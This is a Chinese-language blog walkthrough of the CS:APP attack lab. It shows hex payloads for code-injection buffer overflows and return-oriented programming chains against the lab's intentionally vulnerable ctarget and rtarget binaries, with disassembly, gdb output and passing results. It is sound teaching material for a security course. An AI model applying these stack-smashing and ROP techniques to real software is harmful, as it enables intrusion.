Last updated on 8 months ago
attacklab
准备
文件下载
所有文件均可以从官网上直接下载:Lab Assignments
与前两个使用不同的是,本实验需要严格按照 PDF 内的说明完成
文件组成
主要文件有三个:
一个 cookie.txt
文件用于充当验证码的角色,后面会用到
提交
ctarget
与 rtarget
的用法一致:
1 2 3 4 5 6 7 8 9 Usage: [-hq] ./ctarget -i <infile > -h Print help information -q Don't submit result to server -i <infile > Input file Usage: [-hq] ./rtarget -i <infile > -h Print help information -q Don't submit result to server -i <infile > Input file
我们不提交到服务器,因此需要带 -q
参数运行
hex2raw
的用法为:
1 2 3 4 usage: ./hex2raw [-h] [i IN ] [-o OUT ] -h Print this help message -i IN specify input text file -o OUT specify output data file
当然,可以直接
./hex2raw < input_file > output_file
,而前两个不能这样子(需要带
-q
参数运行)
说明
ctarget
和 rtarget
的输入均是从标准输入读取,二者均是通过函数 getbuf
实现:
1 2 3 4 5 6 unsigned getbuf () { char buf[BUFFER_SIZE] ; Gets (buf); return 1 ; }
这里的 Gets
函数与标准库的 gets
函数行为一致,均是从标准库读取而不做任何的边界检查
正式开始
Code Injection Attack
pahse_1
参照 PDF 中
4.1
的部分
在 test
函数中会调用 getbuf
,我们的任务是在
getbuf
执行完之后不再返回 test
函数而是返回到
touch1
函数
我们考察 getbuf
函数行为:
1 2 3 4 5 6 7 8 9 00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 call 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 ret 4017be: 90 nop 4017bf: 90 nop
函数开始时会分配 0x28
也就是 40
字节的堆栈,随后调用 Gets
函数
需要说明的是,我们的内存地址为 64
位,并且在内存当中以小端存储
在调用 getbuf
函数之前,call
指令便会将
getbuf
的下一条指令的地址压入其过程的栈帧中,之后的部分才是
getbuf
过程的栈帧
因此我们可以用零来将那 40
个字节全部填充,然后在原先是
call
函数返回地址的地方写入 touch1
的地址
touch1
的地址为:0x4017c0
,前面补零并用小端表示为:0xc0 17 40 00
因此最终答案为:
1 2 3 4 5 6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00
运行结果:
1 2 3 4 5 6 7 8 9 10 $ ./hex2raw < answer/phase_1/input > answer/phase_1/output $ ./ctarget -qi answer/phase_1/output Cookie: 0x59b997fa Touch1!: You called touch1() Valid solution for level 1 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00
phase_2
参照 PDF 中
4.2
的部分
与上一步类似,我们在调用 getbuf
函数之后不能返回到
test
而是要到 touch2
需要注意的是,touch2
函数是带有参数的,我们需要让参数
val
的值与 cookie
的值相同即可,这便是本题需要解决的问题
我们首先需要知道一点:程序计数器 PC
所指向的内存地址就是下一条指令的字节级编码,因此如果我们希望程序去执行我们期望的代码,我们除了需要将代码的字节级编码插入到内存中以外,还需要将
PC
的值设置对应的地址
我们重新把目光放到 getbuf
函数上:
1 2 3 4 5 6 7 8 9 00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 call 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 ret 4017be: 90 nop 4017bf: 90 nop
我们发现这个函数只是简单的分配 40
字节大小的栈帧,随后调用 Gets
函数对该
40
字节的区域进行写入 ,仅仅只是写入,并不会当成指令执行
当 getbuf
结束时,ret
指令会弹出一个跳转地址,然后 PC
便会跳转到该地址开始执行指令(也就是在 test
中
getbuf
函数的下一条指令的地址)
也就是说,ret
指令相当于执行:PC = *rsp, rsp++
那么如果我们需要跳转到某个地址开始执行指令的话,只能用
ret
的方式(因为该指令会设置 PC
的值)。具体地,先将待跳转地址压入栈中,随后执行 ret
指令即可
到此为止,我们便可以正式开始代码插入了,我们的需求是:
将 %rdi
的值改为 cookie
跳转到 touch2
执行代码(先将地址压入栈中,随后使用
ret
指令)
由于我们不知道这三条指令的字节级编码,因此我们先用汇编语言写出来,随后用
gcc
带 -c
参数进行汇编(-c
表示值编译和汇编而不进行链接),得到可执行程序后用 objdump
进行反汇编即可得到指令对应的字节级编码
在 insert.s
文件中,汇编代码如下:
1 2 3 4 mov $0x59b997fa, %rdi push $0x4017ec ret
执行如下语句:
1 2 gcc -c insert.s -o insert objdump -d insert > insert.asm
insert.asm
的内容如下:
1 2 3 4 0000000000000000 <.text>: 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 7: 68 ec 17 40 00 push $0x4017ec c: c3 ret
因此我们插入的字节级数据便得到了。但如果直接将以下内容写入,我们是得不到想要的结果的
1 2 3 4 5 48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
正如我们刚才分析的那样,Gets
函数仅仅是对栈空进进行写入 ,程序计数器 PC
的值并没有执行栈顶,因此也就不会执行对应的代码
getbuf
函数结束后会执行一次 ret
,我们在
phase_1
阶段将这个值覆盖为 touch1
的地址,我们在这里将其覆盖为栈顶地址,这样 PC
就可以执行栈顶了
也就是说,我们需要找到在 getbuf
中,%rsp
下降 40
字节后的地址
我们启动 cgdb
开始调试:
1 2 3 4 5 6 7 8 9 10 11 12 cgdb ./ctarget (gdb) b getbuf Breakpoint 1 at 0x4017a8: file buf.c, line 12. Breakpoint 1, getbuf () at buf.c:12 12 in buf.c (gdb) n 14 in buf.c (gdb) i r rsp rsp 0x5561dc78 0x5561dc78
我们看到分配完 40
字节后的 %rsp
的地址为
0x5561dc78
,将地址按小端排列后覆盖原先的
getbuf
的返回地址,有:
1 2 3 4 5 6 48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00
运行结果:
1 2 3 4 5 6 7 8 9 $ ./ctarget -qi ./answer/phase_2/output Cookie: 0x59b997fa Touch2!: You called touch2(0x59b997fa) Valid solution for level 2 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
phase_3
参照 PDF 中
4.3
的部分
这里 CMU
的教授给了个提示:When functions hexmatch and strncmp are called, they push data onto the stack, overwriting portions of memory that held the buffer used by getbuf. As a result, you will need to be careful where you place the string representation of your cookie.
意思是函数 hexmatch
和 strncmp
的调用会将栈空间给覆盖,因此需要小心地存储 cookie
所表示的字符串
hexmatch
函数的定义如下:
1 2 3 4 5 6 7 8 9 int hexmatch (unsigned val, char *sval) { char cbuf[110 ]; char *s = cbuf + random() % 100 ; sprintf (s, "%.8x" , val); return strncmp (sval, s, 9 ) == 0 ; }
这个函数会将 cookie
的值以 16
进制打印到字符数组 s
中 ,然后在比较
sval
和 s
的前九个字符
也就是说,我们传入的 sval
所指向的字符串需要以
ASCII
字符的形式存储 cookie
我们去看 touch3
的汇编代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 00000000004018fa <touch3>: 4018fa: 53 push %rbx 4018fb: 48 89 fb mov %rdi,%rbx 4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel> 401905: 00 00 00 401908: 48 89 fe mov %rdi,%rsi 40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie> 401911: e8 36 ff ff ff call 40184c <hexmatch> 401916: 85 c0 test %eax,%eax 401918: 74 23 je 40193d <touch3+0x43> 40191a: 48 89 da mov %rbx,%rdx 40191d: be 38 31 40 00 mov $0x403138,%esi 401922: bf 01 00 00 00 mov $0x1,%edi 401927: b8 00 00 00 00 mov $0x0,%eax 40192c: e8 bf f4 ff ff call 400df0 <__printf_chk@plt> 401931: bf 03 00 00 00 mov $0x3,%edi 401936: e8 52 03 00 00 call 401c8d <validate> 40193b: eb 21 jmp 40195e <touch3+0x64> 40193d: 48 89 da mov %rbx,%rdx 401940: be 60 31 40 00 mov $0x403160,%esi 401945: bf 01 00 00 00 mov $0x1,%edi 40194a: b8 00 00 00 00 mov $0x0,%eax 40194f: e8 9c f4 ff ff call 400df0 <__printf_chk@plt> 401954: bf 03 00 00 00 mov $0x3,%edi 401959: e8 f1 03 00 00 call 401d4f <fail> 40195e: bf 00 00 00 00 mov $0x0,%edi 401963: e8 d8 f4 ff ff call 400e40 <exit@plt>
可以看到在开头并没有分配栈帧 ,对全局变量
val
赋值完毕后直接调用 hexmatch
了,hexmatch
的汇编代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 000000000040184c <hexmatch>: 40184c: 41 54 push %r12 40184e: 55 push %rbp 40184f: 53 push %rbx 401850: 48 83 c4 80 add $0xffffffffffffff80,%rsp 401854: 41 89 fc mov %edi,%r12d 401857: 48 89 f5 mov %rsi,%rbp 40185a: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax 401861: 00 00 401863: 48 89 44 24 78 mov %rax,0x78(%rsp) 401868: 31 c0 xor %eax,%eax 40186a: e8 41 f5 ff ff call 400db0 <random@plt> 40186f: 48 89 c1 mov %rax,%rcx 401872: 48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx 401879: 0a d7 a3 40187c: 48 f7 ea imul %rdx 40187f: 48 01 ca add %rcx,%rdx 401882: 48 c1 fa 06 sar $0x6,%rdx 401886: 48 89 c8 mov %rcx,%rax 401889: 48 c1 f8 3f sar $0x3f,%rax 40188d: 48 29 c2 sub %rax,%rdx 401890: 48 8d 04 92 lea (%rdx,%rdx,4),%rax 401894: 48 8d 04 80 lea (%rax,%rax,4),%rax 401898: 48 c1 e0 02 shl $0x2,%rax 40189c: 48 29 c1 sub %rax,%rcx 40189f: 48 8d 1c 0c lea (%rsp,%rcx,1),%rbx 4018a3: 45 89 e0 mov %r12d,%r8d 4018a6: b9 e2 30 40 00 mov $0x4030e2,%ecx 4018ab: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx 4018b2: be 01 00 00 00 mov $0x1,%esi 4018b7: 48 89 df mov %rbx,%rdi 4018ba: b8 00 00 00 00 mov $0x0,%eax 4018bf: e8 ac f5 ff ff call 400e70 <__sprintf_chk@plt> 4018c4: ba 09 00 00 00 mov $0x9,%edx 4018c9: 48 89 de mov %rbx,%rsi 4018cc: 48 89 ef mov %rbp,%rdi 4018cf: e8 cc f3 ff ff call 400ca0 <strncmp@plt> 4018d4: 85 c0 test %eax,%eax 4018d6: 0f 94 c0 sete %al 4018d9: 0f b6 c0 movzbl %al,%eax 4018dc: 48 8b 74 24 78 mov 0x78(%rsp),%rsi 4018e1: 64 48 33 34 25 28 00 xor %fs:0x28,%rsi 4018e8: 00 00 4018ea: 74 05 je 4018f1 <hexmatch+0xa5> 4018ec: e8 ef f3 ff ff call 400ce0 <__stack_chk_fail@plt> 4018f1: 48 83 ec 80 sub $0xffffffffffffff80,%rsp 4018f5: 5b pop %rbx 4018f6: 5d pop %rbp 4018f7: 41 5c pop %r12 4018f9: c3 ret
分配栈帧的是 add $0xffffffffffffff80,%rsp
,相当于分配
128
字节的空间,也就是 0x80
touch3
地址存储在 0x5561dca0
处,而在
getbuf
的结尾处,由于执行了 ret
指令,因此
%rsp
的值需要再此基础上加上 0x8
,也就是
0x5561dca8
那么从当前 %rsp
的位置,到 getbuf
栈顶所在地址 0x5561dc78
之间的内容,一定会被
hexmatch
所覆盖,因此我们需要另外寻找办法
有一个办法是,我们在跳转到 touch3
之前,将栈指针
%rsp
的值赋值为栈顶地址,也就是 0x5561dc78
,这之后再去调用 touch3
,那么之后分配的栈帧就不会影响我们插入的内容了
我们写出如下汇编代码,保存为文件 insert.s
1 2 3 4 5 leaq 0x5561dc78, %rsp leaq 0x5561dc90, %rdi push $0x4018fa ret
执行如下语句:
1 2 $ gcc -c ./answer/phase_3/insert.s -o ./answer/phase_3/insert $ objdump -d ./answer/phase_3/insert > ./answer/phase_3/insert.asm
insert.asm
文件内容为:
1 2 3 4 5 6 0: 48 8d 24 25 78 dc 61 lea 0x5561dc78,%rsp 7: 55 8: 48 8d 3c 25 90 dc 61 lea 0x5561dc90,%rdi f: 55 10: 68 fa 18 40 00 push $0x4018fa 15: c3 ret
我们将这些字符依次写入,再将 touch3
的开始地址作为
getbuf
的中 ret
的跳转地址,得到最终答案:
1 2 3 4 5 6 48 8 d 24 25 78 dc 61 55 48 8 d 3 c 25 90 dc 61 55 68 fa 18 40 00 c3 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00
运行结果:
1 2 3 4 5 6 7 8 9 $ ./ctarget -qi ./answer/phase_3/output Cookie: 0x59b997fa Touch3!: You called touch3("59b997fa" ) Valid solution for level 3 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:3:48 8D 24 25 78 DC 61 55 48 8D 3C 25 90 DC 61 55 68 FA 18 40 00 C3 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
Return-Oriented Programming
从这一阶段开始将会介绍一种新的代码攻击方式
ROP, Return-Oriented Programming
,直译就是面向返回值编程 ,提出这种攻击方式是因为:
栈随机化:程序运行时栈的位置每次都会变化,我们无法定位堆栈的地址(虽然栈的地址是随机的,但函数的入口地址已经不会发生改变)
可执行区域限制:栈内的代码被标记为不可执行,如果执行的话会报
segmenttation fault
下面我们详细说明一下 ROP
的编程思想:
ROP
的核心在于 ret
指令,该指令可以分解为:PC = *rsp, rsp++
,也就是会将当前栈顶 处的地址 赋值给
PC
,然后将栈顶指针向上增加 64
个字节(一定是将地址返回给 PC
,而不是指令的字节序列 )
在一段程序中,如果一个 ret
指令前的字节序列,恰好可以由我们需要的指令的字节级编码前后拼接而成,便可以实现
ROP
,我们称这一个连续的指令序列为 gadget
我们来看书中的例子:
1 2 400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi) 400f1b: c3 retq
这是一段正常的代码。但字节序列 48 89 c7
可以被翻译为
movq %rax, %rdi
,并且后面接的正好是 ret
,因此便可以实现 ROP
这里有一个疑问是,为什么一定要以 ret
为结尾,这一点将在
phase_4
中得到解答
phase_4
参照 PDF 中
5.1
的部分,这个实验一定要将 PDF
中的内容全部理解,不然做不下去
我们需要在 rtarget
中完成 phase_2
一样的任务,只不过 rtarget
与 ctarget
不同的是加入了上面的两种防止缓冲器攻击的机制
核心思想还是先对 %rdi
进行赋值,然后跳转到
touch2
的地址即可
由于我们不能将立即数直接赋值给一个寄存器,因此我们需要将立即数赋值给寄存器,然后再将这个寄存器赋值给
%rdi
我们可以考虑用 pop
指令来对寄存器进行赋值,然后再用
mov
指令对 %rdi
进行赋值
查表发现,pop %rax
的字节级编码为 58
,我们在 rtarget
中搜索 58
的位置,得到如下结果:
1 2 3 00000000004019a7 <addval_219>: 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax 4019ad: c3 ret
字节 90
为 nop
的字节级编码,因此可以直接忽视
我们需要的地址从 0x4019ab
开始,然后以 c3
结束(也就是以 ret
结束)
因此我们将地址 0x4019ab
注入到堆栈中,覆盖原先
getbuf
的返回值,这样就可以让 PC
跳到我们指定的位置了
当执行 ret
之后,PC
会回到原先的位置,如果后面还有一次我们注入的地址,那么就会再执行一次刚刚的行为 ,所以这就是为什么一定要以
ret
为结尾
在我们从栈中弹出 cookie
后,我们需要执行
mov %rax, %rdi
,该指令的字节级编码为:48 89 c7
,我们找到:
1 2 3 00000000004019c3 <setval_426>: 4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) 4019c9: c3 ret
我们需要的地址为
0x4019c5
,到此我们也就执行完所有需要的指令了,之后将
touch2
的地址写入栈中即可
答案如下:
1 2 3 4 5 6 7 8 9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 c5 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00
执行结果:
1 2 3 4 5 6 7 8 9 $ ./rtarget -qi ./answer/phase_4/output Cookie: 0x59b997fa Touch2!: You called touch2(0x59b997fa) Valid solution for level 2 with target rtarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
phase_5
参照 PDF 中
5.2
的部分
本实验要求我们在 rtarget
中完成 phase_3
的内容
我们知道,phase_3
的难点在于 hexmatch
会将缓冲区覆盖导致没办法正常读取到插入的字符串,因此我们考虑先改变栈指针
%rsp
,然后将 %rdi
的值指向我们插入字符串的起始地址出
在这里,我们无法去改变 %rsp
的值,因为没有一个合适的
gadget
让我们这么做,因此我们考虑另一种做法:
在 touch3
跳转地址的上面插入该字符串 ,那么我们只需要让 %rdi
的值指向该地址,那么就可以正常的读取到该字符串
思路到这,也就到了本题的难点:栈是随机的,我们该如何定位
touch3
的前一个地址的位置
由于每次程序运行时栈的地址都不同,我们确实无法直接通过地址赋值的方式给
%rdi
进行赋值,但我们注意到我们需要的地址总是在
touch3
的前一个位置 ,也就是说,如果我们能得到某个时刻
%rsp
的值,那么将其减去某个偏移量,自然便可以得到我们想要的地址
在 farm
中,我们发现有一个计算两数之和的函数:
1 2 3 00000000004019d6 <add_xy>: 4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax 4019da: c3 ret
我们考虑用这个函数来实现,此函数将 %rdi
和
%rsi
的值累加后放到 %rax
中
我们查表可以发现,mov %rax, %rdi
和
mov %rsp, %rax
这两个操作在 farm
中总能够找到
因此我们用 %rdi
来存储某时刻的栈指针(这一步很容易可以实现),用 %rsi
来存储偏移量
我们用 pop %rax
来将偏移量临时存放在 %rax
中,之后的问题转为如何将偏移量赋值给 %rsi
在 farm
中,没有 gadget
能够直接将值赋值给
%rsi
,由于我们的偏移量不会太大,因此考虑看看有没有什么寄存器能够赋值给
%esi
查表得知,能够给 %esi
赋值的只有
%ecx
,我们按着这个思路往回推,有哪个寄存器可以给
%ecx
赋值
能够给 %rcx
赋值的只有
%edx
,对应的 gadget
如下:
1 2 3 0000000000401a6e <setval_167>: 401a6e: c7 07 89 d1 91 c3 movl $0xc391d189,(%rdi) 401a74: c3 ret
我们需要的是 89 d1
,后面接了一个 91
,这个属于 nop
,效果于 90
一样
我们可以在 phase_2
中试一下,将栈顶全部换成
91
,得到如下输入
1 2 3 4 5 6 91 91 91 91 91 91 91 91 48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00
这个输入也是可以通过的
继续刚刚的过程,能够赋值给 %edx
赋值的只有
%eax
,到此为止我们便实现了从 %rax
到
%rsi
的赋值
我们将这个过程写成伪代码的形式,方便我们查找对应的
gadget
:
1 2 3 4 5 6 7 8 9 10 11 rsp -> rax rax -> rdi pop rax //偏移量x eax -> edx edx -> ecx ecx -> esi lea (rdi, rsi) -> rax rax -> rdi //touch3返回地址 cookie字符串
最终答案为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1 a 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 ab 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 dd 19 40 00 00 00 00 00 70 1 a 40 00 00 00 00 00 13 1 a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61
运行结果:
1 2 3 4 5 6 7 8 9 $ ./rtarget -qi ./answer/phase_5/output Cookie: 0x59b997fa Touch3!: You called touch3("59b997fa" ) Valid solution for level 3 with target rtarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 70 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61
总结
我们最后写一个简单的脚本 auto.sh
来庆祝一下吧
1 2 3 4 5 6 #!/bin/bash ./ctarget -qi ./answer/phase_1/output ./ctarget -qi ./answer/phase_2/output ./ctarget -qi ./answer/phase_3/output ./rtarget -qi ./answer/phase_4/output ./rtarget -qi ./answer/phase_5/output
运行结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 $ ./auto.sh Cookie: 0x59b997fa Touch1!: You called touch1() Valid solution for level 1 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00 Cookie: 0x59b997fa Touch2!: You called touch2(0x59b997fa) Valid solution for level 2 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 Cookie: 0x59b997fa Touch3!: You called touch3("59b997fa" ) Valid solution for level 3 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:3:48 8D 24 25 78 DC 61 55 48 8D 3C 25 90 DC 61 55 68 FA 18 40 00 C3 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 Cookie: 0x59b997fa Touch2!: You called touch2(0x59b997fa) Valid solution for level 2 with target rtarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00 Cookie: 0x59b997fa Touch3!: You called touch3("59b997fa" ) Valid solution for level 3 with target rtarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 70 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61